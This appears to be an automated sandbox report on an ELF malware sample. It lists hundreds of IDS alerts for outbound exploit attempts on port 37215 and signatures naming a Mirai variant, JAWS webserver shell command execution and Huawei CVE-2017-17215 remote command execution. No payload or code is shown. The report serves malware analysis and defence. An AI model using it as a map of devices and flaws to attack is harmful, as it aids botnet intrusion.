2024-12-03T23:17:30.179186+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56072	41.63.113.208	37215	TCP
2024-12-03T23:17:30.184830+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40458	197.130.252.241	37215	TCP
2024-12-03T23:17:30.194263+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60578	197.250.187.5	37215	TCP
2024-12-03T23:17:30.194333+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45714	41.25.222.46	37215	TCP
2024-12-03T23:17:30.200846+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38598	197.42.164.106	37215	TCP
2024-12-03T23:17:30.200853+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44334	197.153.112.166	37215	TCP
2024-12-03T23:17:30.201055+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39758	197.109.50.171	37215	TCP
2024-12-03T23:17:30.201222+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33832	156.181.177.182	37215	TCP
2024-12-03T23:17:30.201285+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54330	156.108.252.85	37215	TCP
2024-12-03T23:17:30.201421+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51006	41.73.221.1	37215	TCP
2024-12-03T23:17:30.201605+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60232	197.81.67.22	37215	TCP
2024-12-03T23:17:30.209708+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58756	197.132.16.251	37215	TCP
2024-12-03T23:17:30.209895+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41714	197.243.134.130	37215	TCP
2024-12-03T23:17:30.210178+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37344	197.67.47.58	37215	TCP
2024-12-03T23:17:30.210323+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49134	197.154.107.62	37215	TCP
2024-12-03T23:17:30.210530+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33208	41.217.194.94	37215	TCP
2024-12-03T23:17:30.210709+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42196	156.209.173.116	37215	TCP
2024-12-03T23:17:30.210922+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50110	156.39.63.242	37215	TCP
2024-12-03T23:17:30.216461+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43296	156.32.193.229	37215	TCP
2024-12-03T23:17:30.216591+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41160	156.166.112.95	37215	TCP
2024-12-03T23:17:30.216773+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51728	156.245.85.28	37215	TCP
2024-12-03T23:17:30.225387+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45548	156.90.20.165	37215	TCP
2024-12-03T23:17:30.225602+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37364	41.255.55.137	37215	TCP
2024-12-03T23:17:30.225713+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59638	41.246.157.74	37215	TCP
2024-12-03T23:17:30.225846+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58418	41.88.103.227	37215	TCP
2024-12-03T23:17:30.226034+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47864	156.139.41.135	37215	TCP
2024-12-03T23:17:30.241180+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35122	156.253.218.29	37215	TCP
2024-12-03T23:17:30.241228+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55238	197.216.98.132	37215	TCP
2024-12-03T23:17:30.241340+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37054	41.95.229.149	37215	TCP
2024-12-03T23:17:30.256852+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44436	156.41.120.23	37215	TCP
2024-12-03T23:17:30.272520+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53128	197.188.248.64	37215	TCP
2024-12-03T23:17:30.272579+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48044	156.98.11.53	37215	TCP
2024-12-03T23:17:30.413515+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53146	197.96.84.2	37215	TCP
2024-12-03T23:17:30.419415+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54128	197.42.153.203	37215	TCP
2024-12-03T23:17:30.475506+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47970	156.201.223.8	37215	TCP
2024-12-03T23:17:31.225575+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57790	41.12.127.243	37215	TCP
2024-12-03T23:17:31.388322+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51816	197.2.201.150	37215	TCP
2024-12-03T23:17:31.403983+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55510	41.211.84.214	37215	TCP
2024-12-03T23:17:31.419221+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39980	41.195.231.85	37215	TCP
2024-12-03T23:17:31.419403+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60858	156.117.25.217	37215	TCP
2024-12-03T23:17:31.443995+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39816	156.64.74.58	37215	TCP
2024-12-03T23:17:31.475643+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34110	41.157.16.8	37215	TCP
2024-12-03T23:17:31.475699+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48306	41.36.166.239	37215	TCP
2024-12-03T23:17:32.294417+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39048	197.4.19.208	37215	TCP
2024-12-03T23:17:32.294558+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50270	197.83.100.147	37215	TCP
2024-12-03T23:17:32.294715+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38638	156.106.27.44	37215	TCP
2024-12-03T23:17:32.309951+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38108	197.96.112.130	37215	TCP
2024-12-03T23:17:32.325642+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47788	197.118.170.165	37215	TCP
2024-12-03T23:17:32.325794+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55790	197.32.203.121	37215	TCP
2024-12-03T23:17:32.325880+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37424	41.88.150.218	37215	TCP
2024-12-03T23:17:32.325995+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55752	156.142.214.18	37215	TCP
2024-12-03T23:17:32.341316+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44132	41.182.102.191	37215	TCP
2024-12-03T23:17:32.350387+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45992	197.118.234.171	37215	TCP
2024-12-03T23:17:32.350580+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33856	156.78.86.96	37215	TCP
2024-12-03T23:17:32.350762+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35070	156.148.67.237	37215	TCP
2024-12-03T23:17:32.403894+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60300	197.218.2.236	37215	TCP
2024-12-03T23:17:32.428592+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49890	156.103.97.9	37215	TCP
2024-12-03T23:17:32.481871+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41908	197.31.92.163	37215	TCP
2024-12-03T23:17:32.482064+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42906	41.210.87.254	37215	TCP
2024-12-03T23:17:32.491140+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60192	41.141.149.154	37215	TCP
2024-12-03T23:17:32.591273+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41844	156.81.130.169	37215	TCP
2024-12-03T23:17:32.616158+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48804	41.0.76.123	37215	TCP
2024-12-03T23:17:32.647507+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48896	156.1.78.130	37215	TCP
2024-12-03T23:17:33.033925+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51384	41.174.163.55	37215	TCP
2024-12-03T23:17:33.638119+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51940	41.247.200.34	37215	TCP
2024-12-03T23:17:34.435105+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49144	197.102.170.55	37215	TCP
2024-12-03T23:17:34.450649+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42486	156.121.154.98	37215	TCP
2024-12-03T23:17:34.450805+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53360	197.234.135.89	37215	TCP
2024-12-03T23:17:34.466416+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52090	156.7.104.99	37215	TCP
2024-12-03T23:17:34.466579+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57866	197.89.1.140	37215	TCP
2024-12-03T23:17:34.466598+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34398	197.190.196.251	37215	TCP
2024-12-03T23:17:34.466658+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35100	41.178.160.96	37215	TCP
2024-12-03T23:17:34.466824+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47558	41.205.129.126	37215	TCP
2024-12-03T23:17:34.466904+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46100	41.229.226.153	37215	TCP
2024-12-03T23:17:34.467082+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50748	197.140.34.10	37215	TCP
2024-12-03T23:17:34.467252+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52378	197.90.112.203	37215	TCP
2024-12-03T23:17:34.467316+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43460	197.39.189.255	37215	TCP
2024-12-03T23:17:34.467444+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39260	41.62.249.239	37215	TCP
2024-12-03T23:17:34.475498+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40776	197.201.118.71	37215	TCP
2024-12-03T23:17:34.475653+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42588	156.130.110.104	37215	TCP
2024-12-03T23:17:34.475797+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44094	41.221.212.131	37215	TCP
2024-12-03T23:17:34.475855+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60762	156.162.10.53	37215	TCP
2024-12-03T23:17:34.475979+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44620	41.225.98.208	37215	TCP
2024-12-03T23:17:34.476112+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40896	41.130.85.54	37215	TCP
2024-12-03T23:17:34.476184+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41368	41.86.143.191	37215	TCP
2024-12-03T23:17:34.491316+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42442	197.3.161.136	37215	TCP
2024-12-03T23:17:34.497622+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51190	41.92.234.206	37215	TCP
2024-12-03T23:17:34.497842+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42310	41.171.83.190	37215	TCP
2024-12-03T23:17:34.498007+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40486	41.231.176.25	37215	TCP
2024-12-03T23:17:34.498282+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36286	197.216.35.65	37215	TCP
2024-12-03T23:17:34.506936+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53272	156.5.208.201	37215	TCP
2024-12-03T23:17:34.507084+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45358	156.183.168.159	37215	TCP
2024-12-03T23:17:34.507239+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42550	41.221.178.200	37215	TCP
2024-12-03T23:17:34.507382+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35558	197.134.240.214	37215	TCP
2024-12-03T23:17:34.507501+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35340	197.109.55.19	37215	TCP
2024-12-03T23:17:34.507720+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43570	156.150.79.199	37215	TCP
2024-12-03T23:17:34.522420+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44556	156.94.29.213	37215	TCP
2024-12-03T23:17:34.522734+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37256	197.122.214.225	37215	TCP
2024-12-03T23:17:34.522801+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58866	197.193.126.160	37215	TCP
2024-12-03T23:17:34.522917+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35366	41.96.185.119	37215	TCP
2024-12-03T23:17:34.523040+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41702	41.240.42.60	37215	TCP
2024-12-03T23:17:34.523173+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40940	41.180.86.198	37215	TCP
2024-12-03T23:17:34.538384+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40228	197.228.192.49	37215	TCP
2024-12-03T23:17:34.538407+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39426	197.65.245.167	37215	TCP
2024-12-03T23:17:34.538408+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50134	197.148.5.26	37215	TCP
2024-12-03T23:17:34.553651+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38482	41.25.33.91	37215	TCP
2024-12-03T23:17:36.056910+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39468	156.241.184.101	37215	TCP
2024-12-03T23:17:37.779110+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43502	197.66.120.243	37215	TCP
2024-12-03T23:17:37.819599+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58856	41.17.94.167	37215	TCP
2024-12-03T23:17:38.060102+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60916	197.221.55.224	37215	TCP
2024-12-03T23:17:38.779201+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51754	156.42.14.133	37215	TCP
2024-12-03T23:17:38.779214+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42346	41.113.69.91	37215	TCP
2024-12-03T23:17:38.779338+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48906	197.231.171.97	37215	TCP
2024-12-03T23:17:38.779497+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56488	156.237.223.149	37215	TCP
2024-12-03T23:17:38.779614+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39140	197.190.201.225	37215	TCP
2024-12-03T23:17:38.779889+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56712	41.106.24.165	37215	TCP
2024-12-03T23:17:38.780012+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34632	197.173.136.219	37215	TCP
2024-12-03T23:17:38.794466+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45850	41.41.47.186	37215	TCP
2024-12-03T23:17:38.794742+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45618	41.170.118.151	37215	TCP
2024-12-03T23:17:38.795115+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44066	197.43.176.89	37215	TCP
2024-12-03T23:17:38.796413+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51886	156.9.171.217	37215	TCP
2024-12-03T23:17:38.798168+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55698	41.40.188.121	37215	TCP
2024-12-03T23:17:38.799328+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45268	197.69.237.216	37215	TCP
2024-12-03T23:17:38.803703+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36038	41.199.127.94	37215	TCP
2024-12-03T23:17:38.803867+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48712	41.181.197.76	37215	TCP
2024-12-03T23:17:38.803996+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56018	156.80.123.225	37215	TCP
2024-12-03T23:17:38.804160+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43628	156.46.137.138	37215	TCP
2024-12-03T23:17:38.804295+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46164	156.40.69.248	37215	TCP
2024-12-03T23:17:38.804466+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54348	197.168.192.67	37215	TCP
2024-12-03T23:17:38.804627+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47456	41.221.147.20	37215	TCP
2024-12-03T23:17:38.810087+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51692	197.212.213.106	37215	TCP
2024-12-03T23:17:38.810151+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42142	41.131.243.13	37215	TCP
2024-12-03T23:17:38.810511+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45734	156.167.163.77	37215	TCP
2024-12-03T23:17:38.810697+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53410	156.57.209.219	37215	TCP
2024-12-03T23:17:38.823953+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35886	197.155.156.157	37215	TCP
2024-12-03T23:17:38.823955+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57042	197.23.41.145	37215	TCP
2024-12-03T23:17:38.828419+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37558	197.44.132.47	37215	TCP
2024-12-03T23:17:38.828453+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56572	41.73.141.159	37215	TCP
2024-12-03T23:17:38.835051+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60632	156.89.23.250	37215	TCP
2024-12-03T23:17:38.847621+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60200	156.181.214.148	37215	TCP
2024-12-03T23:17:38.847798+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50526	156.95.165.206	37215	TCP
2024-12-03T23:17:38.848073+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53642	156.214.10.149	37215	TCP
2024-12-03T23:17:38.855591+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41344	41.229.166.31	37215	TCP
2024-12-03T23:17:38.855592+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50812	41.191.29.181	37215	TCP
2024-12-03T23:17:38.855720+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33314	41.6.139.179	37215	TCP
2024-12-03T23:17:38.856015+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51602	197.248.14.153	37215	TCP
2024-12-03T23:17:38.856015+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49668	41.75.90.234	37215	TCP
2024-12-03T23:17:38.856025+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48610	197.201.114.90	37215	TCP
2024-12-03T23:17:39.028906+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44068	156.107.109.168	37215	TCP
2024-12-03T23:17:39.044876+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36106	197.91.196.226	37215	TCP
2024-12-03T23:17:39.053768+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47906	197.176.86.58	37215	TCP
2024-12-03T23:17:39.053845+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44040	197.112.65.155	37215	TCP
2024-12-03T23:17:39.060234+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44914	156.197.13.124	37215	TCP
2024-12-03T23:17:39.075720+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59996	156.88.41.169	37215	TCP
2024-12-03T23:17:39.075920+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42056	156.232.128.61	37215	TCP
2024-12-03T23:17:39.085008+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59578	41.80.243.15	37215	TCP
2024-12-03T23:17:39.085138+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57074	41.79.213.134	37215	TCP
2024-12-03T23:17:39.085207+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56736	156.250.94.154	37215	TCP
2024-12-03T23:17:39.100616+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40696	197.21.76.170	37215	TCP
2024-12-03T23:17:40.294917+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59888	156.51.242.96	37215	TCP
2024-12-03T23:17:40.310644+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35054	156.252.30.194	37215	TCP
2024-12-03T23:17:40.366444+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35116	41.77.32.233	37215	TCP
2024-12-03T23:17:40.966736+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38428	197.181.246.66	37215	TCP
2024-12-03T23:17:40.975665+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54466	197.193.114.129	37215	TCP
2024-12-03T23:17:40.976001+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57278	197.199.140.221	37215	TCP
2024-12-03T23:17:41.350706+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41326	197.62.186.132	37215	TCP
2024-12-03T23:17:41.366320+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36790	41.218.188.113	37215	TCP
2024-12-03T23:17:41.388469+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50722	197.228.155.153	37215	TCP
2024-12-03T23:17:41.397520+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34608	197.209.120.47	37215	TCP
2024-12-03T23:17:41.397684+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58796	197.113.114.59	37215	TCP
2024-12-03T23:17:41.466349+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37056	41.247.59.163	37215	TCP
2024-12-03T23:17:41.497748+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60866	156.0.159.225	37215	TCP
2024-12-03T23:17:41.497757+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54456	41.198.94.135	37215	TCP
2024-12-03T23:17:41.522653+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35562	156.100.20.73	37215	TCP
2024-12-03T23:17:42.123028+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39814	41.76.229.238	37215	TCP
2024-12-03T23:17:42.123092+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56980	41.163.182.3	37215	TCP
2024-12-03T23:17:42.123284+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45104	197.72.117.55	37215	TCP
2024-12-03T23:17:42.123492+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39176	41.79.244.112	37215	TCP
2024-12-03T23:17:42.123498+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39520	41.172.77.14	37215	TCP
2024-12-03T23:17:42.123603+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37200	156.165.32.51	37215	TCP
2024-12-03T23:17:42.123896+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36956	41.124.249.57	37215	TCP
2024-12-03T23:17:42.123996+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35118	197.189.128.71	37215	TCP
2024-12-03T23:17:42.124083+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44110	41.149.142.234	37215	TCP
2024-12-03T23:17:42.124297+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54240	197.180.205.8	37215	TCP
2024-12-03T23:17:42.144160+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58128	156.24.8.98	37215	TCP
2024-12-03T23:17:42.144292+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55712	41.66.91.6	37215	TCP
2024-12-03T23:17:42.144477+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37300	197.107.205.12	37215	TCP
2024-12-03T23:17:42.144660+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57864	197.6.241.111	37215	TCP
2024-12-03T23:17:42.144735+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60582	156.238.44.123	37215	TCP
2024-12-03T23:17:42.144867+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52176	197.100.92.135	37215	TCP
2024-12-03T23:17:42.145027+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55348	197.50.232.140	37215	TCP
2024-12-03T23:17:42.145708+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42656	156.121.75.28	37215	TCP
2024-12-03T23:17:42.145781+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53530	41.67.123.91	37215	TCP
2024-12-03T23:17:42.145912+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37698	41.174.159.33	37215	TCP
2024-12-03T23:17:42.146106+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53342	156.139.241.182	37215	TCP
2024-12-03T23:17:42.146288+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52322	197.203.142.110	37215	TCP
2024-12-03T23:17:42.146515+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43720	156.140.47.141	37215	TCP
2024-12-03T23:17:42.326060+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41014	197.120.50.96	37215	TCP
2024-12-03T23:17:42.357132+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54878	197.185.175.153	37215	TCP
2024-12-03T23:17:42.373231+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52656	156.150.60.224	37215	TCP
2024-12-03T23:17:42.397734+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51718	156.233.166.248	37215	TCP
2024-12-03T23:17:42.413555+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44188	156.208.20.137	37215	TCP
2024-12-03T23:17:43.591538+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36204	156.223.47.26	37215	TCP
2024-12-03T23:17:43.607094+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43966	197.151.4.148	37215	TCP
2024-12-03T23:17:43.632176+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39776	156.114.233.25	37215	TCP
2024-12-03T23:17:43.647496+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41304	197.149.65.70	37215	TCP
2024-12-03T23:17:43.663342+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38806	197.140.165.117	37215	TCP
2024-12-03T23:17:44.654189+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55062	197.32.95.20	37215	TCP
2024-12-03T23:17:44.654425+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49142	197.12.154.193	37215	TCP
2024-12-03T23:17:44.654425+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36934	41.210.39.28	37215	TCP
2024-12-03T23:17:44.679238+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33938	156.249.39.66	37215	TCP
2024-12-03T23:17:44.710156+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43084	41.158.219.220	37215	TCP
2024-12-03T23:17:44.725942+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48402	41.177.105.141	37215	TCP
2024-12-03T23:17:44.725942+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53238	197.137.224.127	37215	TCP
2024-12-03T23:17:45.357389+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35824	41.126.88.37	37215	TCP
2024-12-03T23:17:45.382213+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34580	156.84.84.127	37215	TCP
2024-12-03T23:17:45.397825+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38726	41.87.139.70	37215	TCP
2024-12-03T23:17:45.397852+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52956	156.77.235.41	37215	TCP
2024-12-03T23:17:45.397931+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47436	41.223.243.120	37215	TCP
2024-12-03T23:17:45.413569+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52200	197.211.132.40	37215	TCP
2024-12-03T23:17:45.429301+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35286	197.104.178.197	37215	TCP
2024-12-03T23:17:45.429303+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44240	197.32.0.224	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: spc.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: spc.elf

ReversingLabs: Detection: 71%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41910 -> 185.138.149.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41910 -> 185.138.149.16:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60312 -> 108.165.135.39:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60312 -> 108.165.135.39:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39544 -> 209.58.154.1:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39544 -> 209.58.154.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52298 -> 181.49.1.9:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52298 -> 181.49.1.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43054 -> 45.93.92.23:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43054 -> 45.93.92.23:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33214 -> 175.204.245.90:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33214 -> 175.204.245.90:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59722 -> 156.245.131.47:37215
